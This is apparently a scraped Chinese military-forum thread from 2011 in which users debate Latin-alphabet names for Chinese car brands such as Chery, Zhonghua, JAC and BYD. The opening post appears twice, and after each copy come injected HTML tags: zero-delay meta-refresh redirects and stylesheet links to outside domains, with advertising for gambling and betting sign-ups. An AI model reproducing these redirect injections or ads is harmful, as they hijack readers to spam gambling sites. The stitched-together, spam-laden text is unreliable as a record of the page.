中国自主品牌的拉丁字母命名问题探讨

来源:百度文库 编辑:超级军网 时间:2024/03/29 17:40:50
<br /><br />中国汽车要走出去,也一定会走出去,所以拉丁字命名问题不妨探讨一下:
我们先来看看公司品牌层面。
大众是一个德语意思,也是德语可以把什么词都组合成长词的特色
土星(现在已经没有了)是意思
JEEP是历史

巴伐利亚汽车厂是德语简称,国际上只知道BMW,也不清楚什么意思;苏联跟我们类似,计划经济,用地名很多

通用是简称,但是他有雪佛来等车名

福特是人名,克莱斯勒也是
梅赛德斯是人名,好像是戴姆勒还是奔驰的一个女儿,不知道为什么起了一个加泰隆尼亚的女孩儿名

日本除了日产以外,基本是人名日语罗马鸡发音
韩国是意思,但是用了朝鲜语发音

所以无外乎(1)人名;(2)地名或简称;(3)意思,动词、形容词或名词,比如东风,韶山,前进...
但我们讨论拉丁字命名,不关心中文叫什么,中文还是奇瑞长城吉利帝豪荣威长安红旗...
到现在,直接用拼音的好像几乎没有(东风DONGFENG为一例),长安也用了一个很暧昧的CHANA。简称的如FAW,BAC也是英语。还有就是一些同样暧昧的弱Vee啥的。
大家觉得可以用什么?英语?国际语(暧昧的带点拉丁血液的这个娜那个诺,这个西亚斯那个巴拉巴拉奥..)?拼音?改性拼音(便于读,如对于Q,X等的改性,改成CH,SH),简称?ABC,EFG,反正人家要记一阵子。
参考一下有几个比较纠结的车名,比如Subaru在美国叫酥(酥与修之间的发音)不入,
Honda叫夯达,Hyundai叫汉代,VW叫Vo克茨歪根,而且常常写错成wagon,
好像Chery已经被接受,在莫斯科我看见很多A5,前后挂了一个V,不知何故。<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />

<P>&nbsp;</P>
<P>&nbsp;</P>


(6.合.彩)足球→篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注=:倍率高.→存取速度快.国内最好的投注平台
<br /><br />中国汽车要走出去,也一定会走出去,所以拉丁字命名问题不妨探讨一下:
我们先来看看公司品牌层面。
大众是一个德语意思,也是德语可以把什么词都组合成长词的特色
土星(现在已经没有了)是意思
JEEP是历史

巴伐利亚汽车厂是德语简称,国际上只知道BMW,也不清楚什么意思;苏联跟我们类似,计划经济,用地名很多

通用是简称,但是他有雪佛来等车名

福特是人名,克莱斯勒也是
梅赛德斯是人名,好像是戴姆勒还是奔驰的一个女儿,不知道为什么起了一个加泰隆尼亚的女孩儿名

日本除了日产以外,基本是人名日语罗马鸡发音
韩国是意思,但是用了朝鲜语发音

所以无外乎(1)人名;(2)地名或简称;(3)意思,动词、形容词或名词,比如东风,韶山,前进...
但我们讨论拉丁字命名,不关心中文叫什么,中文还是奇瑞长城吉利帝豪荣威长安红旗...
到现在,直接用拼音的好像几乎没有(东风DONGFENG为一例),长安也用了一个很暧昧的CHANA。简称的如FAW,BAC也是英语。还有就是一些同样暧昧的弱Vee啥的。
大家觉得可以用什么?英语?国际语(暧昧的带点拉丁血液的这个娜那个诺,这个西亚斯那个巴拉巴拉奥..)?拼音?改性拼音(便于读,如对于Q,X等的改性,改成CH,SH),简称?ABC,EFG,反正人家要记一阵子。
参考一下有几个比较纠结的车名,比如Subaru在美国叫酥(酥与修之间的发音)不入,
Honda叫夯达,Hyundai叫汉代,VW叫Vo克茨歪根,而且常常写错成wagon,
好像Chery已经被接受,在莫斯科我看见很多A5,前后挂了一个V,不知何故。<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />

<P>&nbsp;</P>
<P>&nbsp;</P>


(6.合.彩)足球→篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注=:倍率高.→存取速度快.国内最好的投注平台
大奔 别摸我  四环素
据说奇瑞起名之初就考虑了出口因素,所以名字是用cheery去掉一个e而成,易读易记寓意也好,和中文音也很接近,我觉得是取的很有水平的。

其他的国产品牌,最糟糕的就是建设你的梦想了,让人摸不着头脑,中文母语里面也是一团糟,谁再说壁歪的会做营销我跟谁急,名字都起的这么没水准,还营销?

吉利的名字也有点儿怪怪的,中文寓意倒是还可以,可是稍显俗气,英文名就取了发音近似,其他的没有照顾到。

长城也只能是意译了。

中华的中英文名字完全不相干的,但是英文名取的词还可以。

江淮出口也不错,名字么,有点儿巴伐利亚的意思,但愿将来JAC成为我们的别摸我。
说来也是个崇洋媚外,比如什么密苏里号,威斯康星号,密西西比号,转到我们这儿来也就是湖北号,河南号,广东号而已,但是外国人不明就里觉得挺牛逼挺有范儿。

本田丰田福特什么的,到中国也许就是张牌,李记,王记而已。
中华最好,直接就“辉煌”了,开头字母是B又可以装B,和双B拉关系
colt2008 发表于 2011-3-21 15:12

中华为什么不用
Chunghwa?以后可以放在外国国际机场的免税店门口进行展示。
鼎鼎大名啊!而且要用红色和华表作为4S点的标志色和装饰。
也可以用“爱我中华”作为广告语言。
造汽 发表于 2011-3-21 15:35

其实中华的那个LOGO不错,具备豪车立标的气质,不过现实嘛,中华是挺杯具的。。。你说的华表啊红色啊太具体化了,没有那个给力啊,抽象一点又好加工
colt2008 发表于 2011-3-21 15:37

咋会不给力涅?
现在那个logo第一印象是一只酒杯。
造汽 发表于 2011-3-21 22:42

LOGO这玩艺最好抽象些,细节太具体的很难加工
现在是不是都禁止发盖上面突起的标志?还是做成弹簧可倒的就可以?
colt2008 发表于 2011-3-21 22:54


   
其实加工难度倒不是问题,只是具象化的LOGO和工业设计的美感搭配略显违和……
除非这个牌子自身财大气粗到「我的LOGO就是这样怎么着」
byd,呵呵
生活可以更美的,开车可以比歪的
无敌的猫猫 发表于 2011-3-21 23:08

工业设计美感,没错
造汽 发表于 2011-3-22 06:54

买BYD赠送全套牛头标是一项长期而艰巨的营销手段
GNRWQ 发表于 2011-3-21 15:01


    说的对,就像有些洋文名字在国内感觉很酷。但是在外面也就和我们的“李强”,“王大力”一个水平
Mcnatsumi 发表于 2011-3-22 15:45

所以,老外叫大山什么的很酷
回复 3# GNRWQ
江淮官方的意思是江淮想做中国奔驰,搞个好品牌,开个百年老店
所以你看,江淮的标志都冲奔驰来了,奔驰三叉星,江淮就五星
从江淮十二五战略来看,江淮这五年在国外就是重点着手品牌建设
130067383705069375140.jpg
130067387069048150828.jpg
130067385659532386000.jpg
江淮登陆巴西时候,召开的记者招待会
包括研发设计,营销,技术,服务等团队都出席了
包括其在意大利首席设计师Paulo都去了
从策划上来说,要比江淮众多车型在国内的上市要来的更给力
我个人觉得安徽三家汽车厂商的领导团队都很优秀
但是相比较来说,江淮和星马要比奇瑞的高层更为高瞻远瞩
这可能就是我们常说的大智慧吧,不是有没有才,而是有没有帅才
但是也有一点,相比来说,尹没有他们那么多的个人色彩表现在其企业中
chchc 发表于 2011-3-22 20:42

也可以说是比较圆滑的克莱斯勒